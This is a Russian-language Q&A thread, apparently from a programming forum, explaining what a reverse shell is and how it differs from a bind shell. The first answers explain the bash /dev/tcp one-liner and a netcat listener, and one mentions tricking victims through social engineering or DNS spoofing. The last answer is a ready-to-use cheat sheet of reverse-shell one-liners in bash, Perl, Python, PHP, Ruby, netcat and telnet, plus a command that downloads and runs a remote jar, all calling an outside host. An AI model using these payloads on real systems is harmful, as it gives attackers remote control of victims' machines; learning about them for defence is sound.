Что такое обратная оболочка?

Может ли кто-нибудь подробно объяснить, что такое обратная оболочка и в каких случаях мы должны ее использовать? Я нашел этот http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet относительно того же, что означает:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Ответ 1

Это (n небезопасная) удаленная оболочка, представленная целью. Это противоположность "нормальной" удаленной оболочки, которая вводится источником.

Давайте попробуем это с localhost вместо 10.0.0.1:

  • Откройте две вкладки в вашем терминале.

    1. Откройте TCP-порт 8080 и дождитесь соединения:

      nc localhost -lp 8080
      
    2. Откройте интерактивную оболочку и перенаправьте потоки ввода-вывода в TCP-сокет:

      bash -i >& /dev/tcp/localhost/8080 0>&1
      

      где

      • bash -i "Если присутствует опция -i, оболочка является интерактивной".
      • >& "Этот специальный синтаксис перенаправляет и stdout, и stderr к указанной цели."
      • (аргумент для >&) /dev/tcp/localhost/8080 - это TCP-соединение клиента с localhost:8080.
      • 0>&1 перенаправляет файловый дескриптор 0 (stdin) на fd 1 (stdout), поэтому открытый TCP-сокет используется для чтения ввода.

      Ср http://wiki.bash-hackers.org/syntax/redirection

  • Радуйтесь, поскольку у вас есть подсказка на вкладке 1.
  • Теперь представьте, что вы используете не localhost, а какой-нибудь удаленный IP.

Ответ 2

В дополнение к отличному ответу @Kay, ответ на ваш вопрос, почему он называется обратная оболочка, заключается в том, что она называется обратной оболочкой, а не оболочкой связывания

Bind shell - компьютер-злоумышленник действует как клиент, а компьютер-жертва действует как сервер, открывающий коммуникационный порт на жертве и ожидающий подключения к нему клиента, а затем выдающий команды, которые будут выполняться удаленно (по отношению к злоумышленнику) машина жертвы. Это будет возможно только в том случае, если компьютер жертвы имеет общедоступный IP-адрес и доступен через Интернет (для краткости игнорируя все брандмауэры и т.д.).

Что теперь, если машина-жертва имеет NAT и, следовательно, не доступна напрямую? Одно из возможных решений - что делать, если машина жертвы недоступна. Моя (атакующая) машина достижима. Итак, позвольте мне открыть сервер на моем конце и позволить жертве подключиться ко мне. Это и есть обратная оболочка.

Реверс Shell - компьютер злоумышленника (который имеет общедоступный IP-адрес и доступен через Интернет) действует как сервер. Он открывает канал связи в порту и ожидает входящих соединений. Машина-жертва действует как клиент и инициирует соединение с прослушивающим сервером злоумышленника. Это именно то, что делается следующим образом:

bash -i> &/dev/tcp/10.0.0.1/8080 0> & 1

Ответ 3

Обратная оболочка получает соединение от жертвы или цели к вашему компьютеру. Вы можете думать, что ваш компьютер (злоумышленник) действует как сервер и прослушивает указанный им порт, теперь вы убедитесь, что жертва подключается к вам, посылая пакет syn (зависит от реализации обратной оболочки, реализована ли она с использованием принципалов tcp или udp), Теперь соединение выглядит так, как будто жертва сама намеревается соединиться с нами. Теперь для того, чтобы обмануть жертву, вам нужно выполнить атаки социальной инженерии или спуфинговать днс и убедиться, что ваша жертва запускает программу. Успешная обратная оболочка будет обходить все брандмауэры - как сетевые, так и сетевые. Обратные оболочки бывают разных типов - основанные на TCP или HTTP, или обратные основанные на TCP или UDP обратные оболочки.

bash -i> &/dev/tcp/10.0.0.1/8080 0> & 1 Чтобы открыть сокет в Linux, у вас есть dev/tcp. Вы в основном открываете сокет TCP в Linux.

Общий формат -/dev/tcp/ip address/port. Теперь слушайте порт 8080, используя net cat в качестве nc - l - p 8080 - - vv

Простая обратная оболочка на основе bash будет выполнять следующую команду на жертве nc - e/bin/bash 10.0.0.1 8080. Это означает, что вы просите vict подключиться к вашему IP-адресу через порт 8080, предполагая, что 10.0.0.1 - жертва ip.

Ответ 4

Примеры обратных оболочек на разных языках. Опасность это слово.

оболочка

bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;

оболочка Perl

perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';

оболочка питона

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';

PHP оболочки

php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';

рубиновая оболочка

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

NC Shell

nc -c /bin/sh 1.1.1.1 10086;

оболочка телнета

telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp

127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;

java jar shell

wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;

java -jar /tmp/revs1.jar;

import java.io.IOException;    
public class ReverseShell {    
    public static void main(String[] args) throws IOException, InterruptedException {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }

}